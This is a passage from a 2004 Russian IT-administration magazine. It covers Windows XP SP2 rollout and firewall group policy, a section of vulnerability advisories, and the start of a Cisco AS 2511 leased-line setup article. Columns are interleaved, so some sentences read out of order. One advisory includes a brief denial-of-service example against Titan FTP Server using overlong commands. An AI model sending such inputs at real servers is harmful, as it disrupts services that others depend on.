лительно начали его устанавливать. Для тех корпоратив-
ных пользователей, которые пока не хотели устанавли-
вать SP2 (до завершения окончательного корпоративно-
го тестирования), но хотели по-прежнему пользоваться
WindowsUpdate для установки критических обновлений
Microsoft опубликовала документ, описывающий, как мож-
но временно (до 8 месяцев) запретить установку Service
Pack 2 на компьютеры, подключенные к WindowsUpdate.
Предлагаются следующие способы запрета установки
Service Pack 2:
! Применяя специальный шаблон групповой политики. На
сайте Microsoft имеется соответствующий adm-файл
Ðèñóíîê 5 (NoXPSP2Update.adm), используя который, администра-
После перезагрузки компьютеров, входящих в данную груп- тор может запретить установку Service Pack 2 на компь-
пу безопасности, на них будет установлен Service Pack 23. ютерах, входящих в домен Active Directory.

3
В принципе Microsoft допускает публикацию SP2 для пользователей. В этом случае пакет становится доступным в
диалоге Установка и удаление программ → Установка программ. Однако такой способ не является рекомендуемым,
и для его реализации администратору придется самому создать соответствующий zap-файл.

24
администрирование
! Используя исполняемый файл или скрипт Visual Basic. зывается включен. Однако ситуация более чем исправи-
Этот способ подходит для организаций, в которых нет ма – работу Windows Firewall можно легко и быстро настро-
инфраструктуры Active Directory. Запрет или разреше- ить, используя методы, предлагаемые производителем.
ние установки SP2 определяется параметрами, с кото- В отличие от своего предшественника (ICF) у Windows
рыми запускается исполняемый файл. Firewall есть не один, а несколько интерфейсов для настрой-
! C помощью электронной почты. Администратор посыла- ки. Самый простой в использовании и доступный для боль-
ет письмо, содержащее URL, пользователи (с правами шинства пользователей – графический интерфейс, вызывае-
локального администратора), открыв это письмо и перей- мый через Панель управления → Брандмауэр Windows:
дя по ссылке, блокируют установку SP2. Для того чтобы
опять разрешить установку (после того как все возмож-
ные проблемы будут решены), достаточно послать новое
письмо с другим URL, отменяющим запрет установки.

Необходимо отметить, что запрет установки является


временной мерой и через 8 месяцев (начиная с 16 августа)
этот запрет автоматически перестанет действовать.
Файлы, необходимые для запрета установки SP2, мож-
но загрузить отсюда:
! http://www.microsoft.com/technet/grouppolicy
! http://go.microsoft.com/fwlink/?LinkId=33517
! http://www.microsoft.com/technet/scriptcenter/solutions/
blockxpsp2.mspx
! http://www.microsoft.com/technet/scriptcenter/solutions/
blockxpsp2-multi.mspx

Windows Firewall
Windows Firewall является одним из основных, и как пока-
зывает практика, одним из самых проблемных нововведе-
ний SP2. Многие неудобства, возникающие при работе про-
грамм на Windows XP SP2, вызваны именно тем, что пере-
даваемые ими данные блокируются новым брандмауэром
Windows, который после установки SP2 по умолчанию ока- Ðèñóíîê 6

Ðèñóíîê 7

№9(22), сентябрь 2004 25


администрирование
Здесь вы можете определить настройки брандмауэра сов и червей, проникающих в нее через портативные ком-
непосредственно на данном компьютере. Кроме того, на- пьютеры сотрудников, определив более «жесткие» настрой-
стройки можно изменять и во время работы. При попытке ки firewall в стандартном профиле.
приложения обратиться к сетевому ресурсу, Windows Используя поставляемые Microsoft шаблоны, можно оп-
Firewall покажет соответствующий диалог, в котором вы ределить следующие аспекты поведения Windows Firewall:
можете либо разрешить, либо запретить обращение для ! Как обрабатывать IPSec-трафик.
данного приложения. ! Задать исключения для программ и портов.
Однако для крупных корпоративных клиентов, имеющих ! Определить, какие настройки смогут добавлять локаль-
сотни и тысячи компьютеров, способ интерактивной на- ные пользователи.
стройки брандмауэра абсолютно неприемлем. Наиболее ! Настройка обработки ICMP-запросов.
эффективным способом управления настройками Windows ! Настройка работы нескольких предопределенных служб
Firewall на большом количестве компьютеров является ис- (RDP,UPnP и др.).
пользование групповых политик. Настройки Windows ! Конфигурация журналирования.
Firewall имеются в новых шаблонах и доступны в следую- ! Использовать или нет списки исключений.
щем месте: Конфигурация компьютера → Административ- ! Состояние службы Windows Firewall.
ные шаблоны → Network → Network Connections → Windows
Firewall. Таким образом, через групповые политики админист-
Открыв этот раздел, мы увидим два профиля настроек – раторы могут полностью настроить firewall в соответствии
Domain Profile и Standard Profile. Эти профили особенно с требованиями политики безопасности предприятия.
интересны для компаний, в которых сотрудники пользуют- Однако иногда бывает невозможно использовать этот
ся ноутбуками (см. рис. 7). вариант (отсутствует инфраструктура AD, используется
Так, когда переносной компьютер работает внутри кор- Windows XP Home Edition, и т. д.). В этих случаях можно
поративной сети, для его настройки используются парамет- воспользоваться другими способами настройки. Если для
ры, определяемые в Domain Profile. Как только компьютер установки SP2 пользователи используют распакованный ди-
теряет связь с Active Directory (работник оказывается за стрибутив, находящийся на общедоступном сетевом дис-
пределами корпоративной сети), вступают в силу настрой- ке, то параметры, с которыми будет запущен Windows
ки из Standard Profile. Благодаря этим профилям можно Firewall, можно определить в файле netfw.in_, находящем-
дополнительно обезопасить корпоративную сеть от виру- ся в папке i386.Так, для того чтобы автоматически отклю-

Ðèñóíîê 8

26
администрирование
чить Windows Firewall после установки SP2 (например, если ! Откройте для редактирования (правая кнопка, Edit) все
в организации не используются host-firewall или использу- политики, шаблоны которых вы хотите обновить.
ются firewall третьих фирм) нужно добавить в этот файл сле-
дующую строку в секцию стандартного профиля: Через некоторое время (20-30 минут) новые шаблоны
будут реплицированы на остальные контроллеры домена.
HKLM,"SYSTEM\CurrentControlSet\Services\SharedAccess\ ↵ Если вы хотите ускорить этот процесс, то можете вручную
Parameters\FirewallPolicy\DomainProfile", ↵
"EnableFirewall",0x00010001,0 провести репликацию контроллеров домена Active Directory
с помощью оснастки Active Directory Sites and Services, ко-
Подробное описание по возможным настройкам, опре- торая имеется на всех компьютерах домена, а также на
деляемым в inf-файле, можно найти в документе «Using the рабочих станциях с установленными «Windows Server 2003
Windows Firewall INF File in Microsoft Windows XP Service Administration Tools Pack» (adminpack.msi, находится на ус-
Pack 2»: http://www.microsoft.com/downloadsdetails.aspx?Family тановочном компакт-диске Server 2003)4. После обновления
ID=cb307a1d-2f97-4e63-a581-bf25685b4c43&displaylang=en. шаблонов групповой политики компьютеры с Windows 2000,
Если же SP2 уже установлен на компьютеры пользова- 2003, XP, XP SP1 не смогут их редактировать.
телей, используемые программы перестали работать и в Описание решения этой проблемы и соответствующие
организации нет домена, то можно воспользоваться интер- исправления можно найти в следующей статье knowledge
фейсом конфигурирования через сетевую оболочку base: http://support.microsoft.com/default.aspx?kbid=842933.
netsh.exe (Пуск → Выполнить → netsh.exe).
Для конфигурирования брандмауэра используется кон- Новые возможности
текст firewall. Используя эту утилиту, можно изменять все Для управления новыми компонентами Windows XP при-
параметры, доступные для настройки через групповые по- меняются обновленные административные шаблоны. С их
литики. Кроме того, можно написать cmd-скрипт, после вы- помощью можно глобально определить используемые в
полнения которого на компьютере будут установлены кор- организации расширения Internet Explorer, правила рабо-
поративные настройки брандмауэра. Далее этот файл мож- ты с зонами безопасности, отображать или нет информа-
но разместить на сетевом диске или отправить по почте ционную панель и т. д. (Administrative templates → Windows
администраторам подразделений. Components → Internet Explorer → Security Features). Также
К сожалению, Windows Firewall не лишен недостатков. имеются возможности настройки параметров безопаснос-
Так, с его помощью невозможно блокировать исходящий ти RPC/DCOM, клиента автоматического обновления, ме-
трафик (правда, это можно сделать с помощью IPSec). неджера управления почтовыми вложениями (AES), цент-
ра безопасности, Windows Firewall, клиента служб терми-
Групповые политики налов, проигрывателя Windows Media 9, новых сетевых ком-
понентов Windows XP (BITS 2.0, P2P) и т. д. Документ, под-
Обновление шаблонов робно описывающий новые возможности настройки груп-
После установки SP2 в Windows XP появляются новые ком- повых политик Windows XP SP2, можно найти по адресу:
поненты, управлять которыми можно через групповые по- http://go.microsoft.com/fwlink/?LinkId=31974.
литики. Дополнительные настройки (более 600 настроек) Подробное описание всех параметров, конфигурируе-
содержатся в новых административных шаблонах. мых через групповые политики в формате Excel, можно най-
Администратор сможет использовать новую функцио- ти здесь: http://go.microsoft.com/fwlink/?linkid=22031. Этот
нальность SP2 сразу же после обновления административ- файл по праву можно считать «библией» администратора,
ных шаблонов на контроллерах домена. Для проведения использующего групповые политики. Помимо полного опи-
обновления воспользуемся консолью управления группо- сания действий всех политик в нем также приводятся пути
выми политиками (Group Policy Management Console), дос- реестра, используемые при конфигурации того или иного
тупной для загрузки по адресу: http://go.microsoft.com/fwlink/ компонента Windows.
?LinkId=21813 (см. рис. 8).
! Установите SP2 на одном из компьютеров домена. Проблемы с Service Pack 2
! Перезагрузите компьютер и войдите в систему под учет- Согласно информации из базы знаний Microsoft, подавля-
ной записью администратора домена, администратора ющее большинство проблем, связанных с SP2, вызваны
предприятия или члена группы «Владельцы и создате- Windows Firewall. Точнее говоря, не с самим Windows
ли групповой политики». Firewall, а сетевыми программами, которые он блокирует.
! Установите gpmc.msi. Путь решения таких проблем прост – либо настроить firewall,
! Откройте консоль gpmc (Пуск → Панель управления → добавив в него разрешение (в стандартной конфигурации
Администрирование → Group Policy Management). firewall сам покажет соответствующий диалог) для соответ-
! Подключитесь к домену, шаблоны на котором необходи- ствующей программы, либо, если политика безопасности
мо обновить. Для этого нажмите Действие → Add Forest предприятия это позволяет, попросту его отключить или ис-
и в появившемся окне введите имя домена. пользовать firewall от третьей фирмы.
! Откройте папку Group policy objects, содержащую все Из серьезных проблем, не связанных с брандмауэром,
объекты групповой политики домена. можно отметить несовместимость с программами SonicWALL

4
Для обновления также можно использовать обычную консоль mmc и оснастку Group Policy Object Editor.

№9(22), сентябрь 2004 27


администрирование
Antivirus, Command AntiVirus, менеджер логина bootskin, было. Была одна проблема при установке на компьютер с
Quicken Deluxe 2001. Также возникают некоторые проблемы внешним RAID-контроллером HighPoint (компьютер ушел в
при работе с оборудованием. Так, в knowledge base имеет- вечную перезагрузку). Однако, скорее всего, она была выз-
ся информация о том, как установить драйверы для ADLS вана установленными на компьютере программами, пото-
USB модемов ZyXEL и BeWAN и устранить проблемы, воз- му как последующая переустановка системы с компакт-
никающие из-за драйверов сканеров UMAX. Кроме того, диска прошла без малейших проблем.
имеются некоторые особенности при работе с SCSI RAID
контроллерами от 3ware. Заключение
Отдельно следует отметить проблемы, вызванные не- Итак, Service Pack 2, безусловно, можно считать эпохаль-
совместимостью некоторых программ с технологией NX. ным событием в области компьютерной безопасности. Оче-
Указывается, что ошибки могут возникать при работе с эму- редной пакет обновлений включает в себя не только крити-
ляторами Windows CE и Virtual PC 4.x. В некоторых случаях ческие обновления различных компонент ОС Windows, но
для решения этих проблем достаточно внести необходимое и привносит новую функциональность (с обязательной под-
приложение в список исключений для DEP, хотя хотя воз- держкой централизованного управления) самой популяр-
можно, что в некоторых случаях может потребоваться об- ной на сегодняшний день десктоп-системе – Windows XP.
новленная версия программы. Кроме того, в его состав входят компоненты, призванные
От себя же могу добавить, что серьезных проблем с «поднять» планку безопасности и поставить дополнитель-
Windows XP после установки SP2 лично у меня пока не ные преграды на пути хакеров и вирусописателей.

Создание загрузочного диска


с Windows XP SP 2
Пакет обновлений можно интегрировать в дистрибутив
Windows XP. Для этого выполните следующие действия:
! Скопируйте дистрибутив Windows XP в c:\temp\xp.
! Распакуйте SP2 в папку c:\temp\sp2.
! Выполните следующую команду:
c:\temp\sp2\i386\update\update.exe /Integrate:c:\temp\xp

После завершения мастера вы получите дистрибутив


Windows XP с интегрированным Service Pack 2.
Далее находим в Интернете загрузчик cdboot.bin (напри-
мер, здесь http://argon.com.ru/download/cdboot.bin.zip) и за-
пускаем программу Nero Burning ROM.
Создаем загрузочный компакт-диск со следующими
параметрами (см. рис. 9, 10):

Ðèñóíîê 10

Ðèñóíîê 9
На вкладке «Label» для полей Volume label, System
Identifier, Volume Set и Application введите WXPVOL_EN. В Ðèñóíîê 11
поля Publisher и Data Preparer введите MICROSOFT Если все было сделано правильно, то полученный диск
CORPORATION. будет загрузочным, однако лучше все же сначала прове-
На вкладке Burn выберите метод записи Disc-At-Once/96 рить работоспособность дистрибутива на диске CD-RW.
и нажмите New. Вместе с Service Pack2 также вышли обновленные
Далее перетаскиваем файлы дистрибутива в окно ком- support tools и deploy tools. Поэтому перед записью диска
пакт-диска, записываем (если нужно) свои файлы и папки не забудьте обновить эти утилиты новыми версиями с сай-
(например с MUI) и нажимаем burn (см. рис. 11): та Microsoft.

28
bugtraq

Удаленное переполнение буфера Отключение контроля запущенных


в Altnet Download Manager приложений в Kerio Personal Firewall
Программа: Altnet Download Manager 4.0.0.2, 4.0.0.4. Программа: Kerio Personal Firewall 4.0.16.
Опасность: Высокая. Опасность: Низкая.
Описание: Переполнение буфера обнаружено в Altnet Описание: Уязвимость обнаружена в Kerio Personal Firewall.
Download Manager. Удаленный пользователь может выпол- Возможность защиты запуска приложений может быть от-
нить произвольный код на компьютере целевого пользова- ключена локальным пользователем с административными
теля. привилегиями.
Удаленный пользователь может создать HTML, который Локальное приложение может напрямую записать в
вызовет Altnet Download Manager ActiveX-управление со спе- \device\physicalmemory изменения, чтобы восстановить SDT
циально обработанным параметром bstrFilepath, чтобы выз- Service Table ядра и отключить контроль выполнения при-
вать переполнение в методе IsValidFile(). Altnet Download ложений в программе. Уязвимость не затрагивает других
Manager включен в Kazaa и Grokster. функций программы.
URL производителя: http://www.altnet.com/help/down URL производителя: http://www.kerio.com/kpf_home.html.
loader.asp. Решение: Способов устранения обнаруженной уязвимос-
Решение: Способов устранения обнаруженной уязвимос- ти не существует в настоящее время.
ти не существует в настоящее время.
Удаленный отказ в обслуживании
Множественные уязвимости в Kerberos 5
в Oracle Application Server Программа: Kerberos 5 1.2.2 – 1.3.4.
Программа: Oracle Application Server 9i и 10g; 9.0.4.1 9.0.4.0, Опасность: Средняя.
9.0.3.1, 9.0.2.3, и 1.0.2.2. Описание: Отказ в обслуживании обнаружен в Kerberos 5
Опасность: Критическая. в ASN.1-библиотеке. Удаленный пользователь может зас-
Описание: Множественные уязвимости были обнаружены тавить Key Distribution Center (KDC) или сервер приложе-
в Oracle Application Server. Удаленный пользователь может ний войти в бесконечный цикл.
получить контроль над сервером приложений. Если тип ASN.1 SEQUENCE был закодирован с неопре-
В июле 2004 года NGSSoftware сообщил о 34 уязвимос- деленной длиной, то функция asn1bug_snc() попытается
тях в Oracle Database Server и Application Server, большин- пропустить любые неопознанные поля с функцией asn1buf_
ство из которых имеют критическую опасность. Уязвимос- skiptail(). Функция asn1buf_skiptail() недостаточно обраба-
ти включают переполнение буфера, PL/SQL-инъекцию, уяз- тывает некоторые ошибки и может войти в бесконечный
вимости отказа в обслуживании и другие уязвимости. цикл.
Детали уязвимости NGSSoftware планирует опублико- URL производителя: http://web.mit.edu/kerberos/www/
вать в декабре 2004 года. advisories/MITKRB5-SA-2004-003-asn1.txt.
URL производителя: http://www.oracle.com/technology/ Решение: Установите соответствующее обновление: http://
deploy/security/pdf/2004alert68.pdf. web.mit.edu/kerberos/advisories/2004-003-patch_1.3.4.txt и
Решение: Установите обновление, как описано в MetaLink http://web.mit.edu/kerberos/advisories/2004-003-patch_1.2.8.txt.
Document ID 281189.1: www.oracle.com/technology/deploy/
security/pdf/2004alert68.pdf. Удаленный отказ в обслуживании
в Titan FTP Server
Раскрытие адресов bcc: Программа: Titan FTP Server 3.21 и более ранние версии.
в Microsoft Outlook Express Опасность: Средняя.
Программа: Microsoft Outlook Express 6.0. Описание: Уязвимость обнаружена в Titan FTP Server. Уда-
Опасность: Низкая. ленный пользователь может аварийно завершить работу
Описание: Уязвимость обнаружена в Microsoft Outlook FTP-службы.
Express. Очень большое многоадресное сообщение, послан- Удаленный пользователь может послать команду длин-
ное адресатам bcc:, могут раскрыть адреса другим адреса- нее 20 480 байт, чтобы вызвать переполнение буфера и ава-
там. рийно завершить работу FTP-сервера.
Когда целевой пользователь посылает большой e-mail, Пример/Эксплоит:
если Microsoft Outlook Express сконфигурирован так, чтобы
обрезать e-mail-сообщения такого размера, то все адреса в "CWD xxxxxxxxxxx..."
"LIST xxxxxxxxxxx..."
поле bcc: будут раскрыты другим адресатам полях to: и cc:. "STAT xxxxxxxxxxx..."
URL производителя: http://support.microsoft.com/default.
aspx?scid=kb;EN-US;843555. URL производителя: http://www.southrivertech.com/
Решение: Исправление доступно через Microsoft Product index.php?pg=./products/titanftp/index.
Support Services: http://support.microsoft.com/default.aspx? Решение: Способов устранения обнаруженной уязвимос-
scid=kb;EN-US;843555. ти не существует в настоящее время.

Cоставил Александр Антипов

№9(22), сентябрь 2004 29


администрирование

НАСТРАИВАЕМ СОЕДИНЕНИЕ
ПО ВЫДЕЛЕННОЙ ЛИНИИ

АНТОН БОРИСОВ
Сегодня мы займемся реализацией связи между двумя уда- Ключи «sos», «bootlog» добавлены исключительно для
ленными точками. А именно, будем устанавливать соеди- повышения информативности процесса загрузки.
нение между удаленной машиной под управлением ОС се- Переходим к стыковке двух модемов между собой.
мейства Windows 2000 и Access Server Cisco AS 2511. Не- Замечание. Необязательно применять именно эти мо-
обходимо связать в единое информационное пространство демы. Так получилось, что реализовывать соединение мне
филиал и офис фирмы. пришлось на их базе.
Для этого нам потребуется: выделенная линия (Leased В процессе работы очень пригодится справочник [1].
Line – LL), 2 модема ZyXEL серии U1496, собственно Access Приступим. Для тестирования на стенде нам потребует-
Server (AS) – его роль будет выполнять Cisco AS 2511 и ма- ся найти (или спаять самим) 2-проводной кабель с разъема-
шина с ОС Windows 2000. Мы ознакомимся с процессом ми RJ-11 на обоих концах. Соединим оба модема этим кабе-
установки связи как для Windows 2000 Professional, так и лем. У этих модемов есть гнезда LINE, PHONE. Используем
для Windows 2000 Server. Главное условие, которое мы бу- гнезда LINE, т.к. PHONE предназначены для подключения
дем иметь в виду – постоянное соединение с удаленной се- не напрямую в телефонную линию, а через телефонный ап-
тью, выход в которую обеспечивает Cisco. парат. Далее через коммуникационную программу настраи-
Когда основными являются требования установить со- ваем модемы. Станция управления работает у меня под
единение, передать информацию по каналу, разорвать со- Linux1, поэтому в роли коммуникационной программы выс-
единение, для таких случаев в комплекте с Windows 2000 тупает minicom (в случае если вы используете Windows, это
Server существует служба RRAS (Remote Routing and Access может быть HyperTerminal из стандартной поставки).
Server). В несколько иной (урезанной) форме данная служ- Консоль от Cisco подключена на COM2, а модем, кото-
ба есть и в Windows 2000 Professional. рый мы будем настраивать, подключен на COM1.
Задачу разбиваем на несколько этапов. На первом эта-
пе установим ОС Windows (серверный вариант и вариант # cat /usr/local/minicom/etc/minirc.ttyS0
Professional), на втором этапе свяжем между собой два мо- pr port /dev/ttyS0
дема, на третьем настроим AS и на последнем увяжем все pu baudrate 19200
pu bits 8
в единое целое. pu parity N
Первый этап, я считаю, можно доверить нашим читате- pu stopbits 1
лям. Отмечу, что нам потребуется поставить две ОС
Windows на один и тот же раздел, но в разные директории. Опции для minicom:
Условимся, что серверную ОС ставим в директорию ! -o – не производить инициализацию модема (то есть не
C:\WINNT.SRV, а Pro-версию – в директорию C:\WINNT.PRO. посылать строчки типа ATZ и т. п.)
Если у читателя имеется большой опыт установки ОС на ! -8 – использовать 8-битный ввод/вывод (для русского
разные разделы, то желательно их установить и на раз- интерфейса программы)
ные разделы (хотя это не принципиально). После установ- ! ttyS0 – название инициализационного файла (представ-
ки файл C:\boot.ini (он имеет атрибут hidden) должен выг- лен в виде minirc.MyName)
лядеть примерно так:
# minicom -o -8 ttyS0
[boot loader]
timeout=3
default=multi(0)disk(0)rdisk(0)partition(2)\WINNT.PRO Программу minicom следует запускать с правами обыч-
[operating systems] ного пользователя (предварительно установив необходи-
multi(0)disk(0)rdisk(0)partition(2)\WINNT.PRO="Microsoft ↵
Windows 2000 Professional RUS" /fastdetect /sos /bootlog мые права доступа на нужные нам устройства ttyS).
multi(0)disk(0)rdisk(0)partition(2)\WINNT.SRV="Microsoft ↵ Включаем питание модема и в терминальной програм-
Windows 2000 Server" /fastdetect /sos /bootlog
ме подаем ему последовательность символов «+++» (3 зна-

1
Linux-машина, которая фигурирует в данной статье, предназначена для настройки модемов и для получения/отправ-
ки файлов на Cisco по tftp-протоколу.

30
администрирование
ка плюс). Этим самым мы переходим в командный режим Надо установить устройство «Модем». Снимите галку в
модема. Как узнать, что мы находимся в командном режи- диалоге, где система предложит определить тип модема
ме? Очень просто – модем выдает приглашение AT. сама. Далее выбираем «Стандартные изготовители».
Теперь мы должны послать в модем строку следующе-
го типа:

AT&F&L1*M1&H3S38.3=1S20=3S18=3S35.1=1S10=020*E1*Q1M0L0

И завершаем действие, отправив команды:


! AT&W0 – сохранение наших параметров в профиле 0
модема;
! ATZ0 – использовать при включении модема парамет-
ры из профиля 0.

Теперь коротко о параметрах (более подробно см. в [1]):


! &F – загрузка настроек по умолчанию (заводских пара-
метров);
! &L1 – использовать 2-проводную выделенную линию;
! *M1 – режим ответа в выделенной линии;
! *M0 – режим старта в выделенной линии; И устанавливаем этот стандартный модем на COM2, т.е.
! &H3 – аппаратное управление потоком CTS/RTS; тот порт, к которому вы подключили модем.
! *E1 – коррекция ошибок (если ошибки не обработаны,
то сбросить линию);
! *Q1 – если качество сигнала низкое, то произвести рет-
рейн;
! M0 – спикер модема всегда выключен;
! L0 – громкость спикера.

Значение для S-регистров:


! S38.3 = 1 – управление CD (Carrier Detect) аналогичным
образом, как и в UNIX.
! S20 = 3 – DTE скорость установить в 19.2 kbps.
! S18 = 3 – установить для модема фиксированную ско-
рость (значение такое же, что и для регистра S20).
! S35.1 = 1 – не прерывать процедуру установки связи
через окно терминала.
! S10 = 020 – время, в десятых долях секунды, которое
модем ждет после потери несущей прежде, чем сбро- Не забудьте выставить скорость для соединения в 19200
сить линию. и поставить галку для использования аппаратного управ-
ления потоком.
Мы настроили модем, который будем подключать к Cisco
AS.
Отключаем питание модема и подключаем второй мо-
дем. Проводим те же самые действия. За исключением того,
что строка инициализации будет немного другой:

AT&F&L1*M0&H3S38.3=1S20=3S18=3S35.1=1S10=020*E1*Q1M0L0

– различие в параметре *M0.


Отключаем модем. Теперь при подаче питания на оба
модема они должны сами связаться друг с другом на ско-
рости 19,2 Кбит/с. Получилась импровизированная выде-
ленная линия.
Для того чтобы можно было использовать выделенную
линию, требуется поднять Async-интерфейс на стороне
Cisco и поставить драйвера для COM-порта под Windows
2000.
Займемся последним. Выбираем Пуск → Настройка → Теперь воспользуемся Мастером сетевого подключения,
Контрольная Панель → Установка Оборудования. чтобы поднять интерфейс на COM-порту.

№9(22), сентябрь 2004 31


администрирование

Для подключения CiscoHub выставьте галки на запрос


имени и пароля.

В свойствах подключения в протоколе TCP/IP нужно


снять галку там, где предлагается регистрировать подклю-
чение в DNS-сервере. Тем самым сокращаем ненужный
трафик, тем более что полномочий на внесение изменений
На этом шаге вводим имя для нашего подключения. в данные DNS-сервера у нас нет.

И вводим имя тестового пользователя с его паролем.


Они будут храниться в AS. Имя этому пользователю пусть
будет user, пароль – pass.

32
администрирование
Переходим к настройке AS (Cisco AS 2511). ком режиме. На этом шаге все проходит гладко, можно про-
В ходе работы потребуется tftp-сервер. Людям, рабо- сматривать некоторые параметры, однако вносить измене-
тающим под UNIX, немного удобнее. Почти наверняка tftp- ния нельзя. Список команд в IOS можно просмотреть на-
сервер уже есть в системе. Осталось только его запус- брав «?». Получить информацию по аппаратному обеспе-
тить. чению можно так:
Для Linux Slackware-систем следует отредактировать
>show version
/etc/inetd.conf.
Cisco Internetwork Operating System Software
IOS (tm) 2500 Software (C2500-I-L), Version 12.0(5)T, RELEASE SOFTWARE (fc1)
tftp dgram udp wait root /usr/sbin/in.tftpd ↵
in.tftpd -s /home/anthony/tftpd -u anthony -c C2500 uptime is 2 days, 23 hours, 36 minutes
System returned to ROM by power-on
где: System restarted at 14:37:27 MSD Tue Jul 6 2004
System image file is "flash:C2500-i-l.120-5.T.bin"
! ключ «-c» – разрешить создание файлов в домашней
директории; cisco 2511 (68030) processor (revision L) with 14336K/2048K bytes of memory.

! ключ «-u user» – запускать tftp-сервер от имени пользо- 1 Ethernet/IEEE 802.3 interface(s)
2 Serial network interface(s)
вателя user; 16 terminal line(s)
! ключ «-s path» – домашняя директория для tftp-сервера
32K bytes of non-volatile configuration memory.
находится в каталоге path. 8192K bytes of processor board System flash (Read ONLY)

Configurationregister is 0x2102
Подаем сигнал процессу inetd, чтобы он прочитал на-
стройки в /etc/inetd.conf и учел изменения в них. Здесь приведены некоторые принципиально важные
строки: точное название Access Server, количество интер-
# kill -1 inetd фейсов, название системного файла-образа операционной
системы.
Подключаемся через коммуникационную программу Команды можно сокращать до значимых букв, напри-
minicom в консольный порт Cisco. Скорость подключения мер, полная строка show users аналогична sh us. Клави-
равна 9600 бит/с. ша [TAB] позволяет не набирать полностью команду, а выб-
рать имеющийся вариант, т.е. работает как «расшири-
# cat /usr/local/minicom/etc/minirc.cisco тель».
pr port /dev/ttyS1 Для перехода в режим администрирования требуется
pu baudrate 9600 ввести команду enable.
pu bits 8
pu parity N В зависимости от текущей настройки Cisco, может по-
pu stopbits 1 требоваться административный пароль. Для выхода из ре-
# minicom -o -8 cisco жима администрирования служит команда disable.
Для настройки Cisco следует иметь настроенный tftp-
Для Windows-платформы также существуют tftp-серве- сервер, и ethernet-соединение.
ра. В частности, для Windows 2000 Server есть оригиналь- В первую очередь это необходимо, чтобы сохранить кон-
ный сервер от Microsoft, доступный как компонент RIS-сер- фигурацию.
вера. Помимо этого, можно воспользоваться программами Итак, переходим на административный уровень в Cisco.
сторонних производителей [9, 10, 11]. В частности, tftp-server
> enable
[9] поддерживает такие опции при передаче файлов, как
# setup
«tsize», «blocksize» и «timeout». Содержит встроенный
firewall. Может выполняться как на NT, так и на машине с На этом шаге предлагается с помощью меню настроить
Windows 2000. базовую (basic management) конфигурацию. В общем-то,
Некоторое время назад Cisco выпускала свой собствен- следует настроить ethernet-интерфейс, а затем по сети за-
ный tftp-сервер под Windows-платформу. Собственно, ком- писать готовую конфигурацию.
пания была первой, кто предоставлял программу в свобод- Скопировать текущую конфигурацию на tftp-сервер мож-
ный доступ. На сегодняшний день родной Cisco-сервер бо- но так:
лее не поддерживается. C2500#copy running-config tftp
Включаем Cisco. Администрирование будет происходить Address or name of remote host []? 1.2.3.4
через консольный порт Cisco. По идее, в терминале minicom Destination filename [running-config]? C2500-Config
!!
вы должны увидеть процесс загрузки IOS (Internetwork 2233 bytes copied in 7.424 secs (319 bytes/sec)
Operating System) – операционную систему, находящуюся C2500#
внутри Cisco. Если не увидели, меняйте скорость, отклю- Скопировать конфигурацию с tftp можно так:
чайте четность. Стоит обратить внимание на консольный
C2500#copy tftp: running-config
кабель, вполне возможно, что он от другой серии Cisco. Address or name of remote host []? 1.2.3.4
Настройка через HyperTerminal аналогична настройке че- Source filename []? C2500-Config
рез minicom. Destination filename [running-config]? running-config
Accessing tftp://1.2.3.4/C2500-Config...
В случае когда вы видите приглашение, например, Loading C2500-Config from 1.2.3.4 (via Ethernet0): !
«C2500>» это значит, что вы находитесь в пользовательс- [OK - 2233/4096 bytes]

№9(22), сентябрь 2004 33


администрирование
Стоит обратить внимание на различие конфигураций Первая строчка определяет, откуда посылать DNS-зап-
running-config и startup-config. Если первая хранится в ОЗУ росы.
и действительна до первой перезагрузки Cisco, то вторая
конфигурация хранится во NVRAM (т.е. в энергонезависи- ip name-server 1.2.3.200
ip name-server 1.2.3.128
мой памяти). В процессе запуска системы startup копирует- !
ся в ОЗУ и становится running. Если подать команду write !
process-max-time 200
(полный список параметров доступен по команде «write ?»), !
то текущая конфигурация запишется в NVRAM и станет
таким образом стартовой конфигурацией. Для настройки ethernet-интерфейса используется сле-
Рассмотрим на приведенном примере конфигурацию от дующая конструкция:
Cisco AS 2500. Строки, начинающиеся с символа «!», явля-
ются комментариями. interface Ethernet0
ip address 1.2.3.100 255.255.0.0
no ip directed-broadcast
! no cdp enable
! Last configuration change at 09:45:23 MSD Fri Jul 2 2004 !
by c2500b
! NVRAM config last updated at 09:45:37 MSD Fri Jul 2 2004 где, указывая команду «nocdp enable», мы запрещаем ис-
by c2500b
! пользование протокола CDP (Cisco Discovery Protocol) на
version 12.0 данном интерфейсе.
service timestamps debug uptime
service timestamps log uptime Когда в настройке интерфейса присутствует команда
«shutdown», то интерфейс не используется. Чтобы его «под-
Команда хранить пароли в «чистом» виде, незашифро- нять», следует использовать команду «no shutdown». Serial-
ванными: интерфейсы не используются, следовательно, их стоит заб-
локировать.
no service password-encryption
! interface Serial0
no ip address
Первая строчка устанавливает внутреннее имя для сер- no ip directed-broadcast
вера. shutdown
no cdp enable
!
hostname C2500 interface Serial1
! no ip address
aaa new-model no ip directed-broadcast
aaa authentication login vty local shutdown
enable secret 5 $1$PlHE$4e7IsaMq52hH/93YAFsmo/ no cdp enable
!
Выставляем административный пароль «c» (для перехо-
да на административный уровень, используя команду enable): Для того чтобы не конфигурировать каждый Async-ин-
терфейс (интерфейс, к которому присоединяется модем) по
enable password c отдельности, будем использовать конструкцию следующе-
!
го типа:
Указываем имя пользователя, пароль для него, где «0» –
не использовать шифрование пароля. interface Group-Async0
description Leased Line Discipline for OutDoor Offices
ip unnumbered Ethernet0
username c2500b password 0 cisco no ip directed-broadcast
username user password 0 pass encapsulation ppp
! ip tcp header-compression passive
async mode dedicated
no cdp enable
В случае когда используется конструкция вида: ppp authentication pap
group-range 1 16
username user password 5 $^%^%# member 1 peer default ip address 1.2.3.11
member 2 peer default ip address 1.2.3.12
member 3 peer default ip address 1.2.3.13
member 4 peer default ip address 1.2.3.14
пароль шифруется в одностороннем порядке. Если уровень member 5 peer default ip address 1.2.3.15
шифрации установлен в «7» (шифрация с использованием member 6 peer default ip address 1.2.3.16
member 7 peer default ip address 1.2.3.17
алгоритма Cisco), то есть возможность пароль декодиро- member 8 peer default ip address 1.2.3.18
вать. !
Следующие первые 2 строки устанавливают временной
пояс и время перевода с летнего времени: ! interface Group-Async0 – название группового интерфейса;
! descriptionLeased Line Discipline for OutDoor Offices – ком-
! ментарий для интерфейса;
clock timezone MSK 3
clock summer-time MSD recurring last Sun Mar 2:00 ↵ ! ip unnumbered Ethernet0 – использовать в качестве ко-
last Sun Oct 2:00 нечной точки (?) IP-адрес интерфейса Ethernet0;
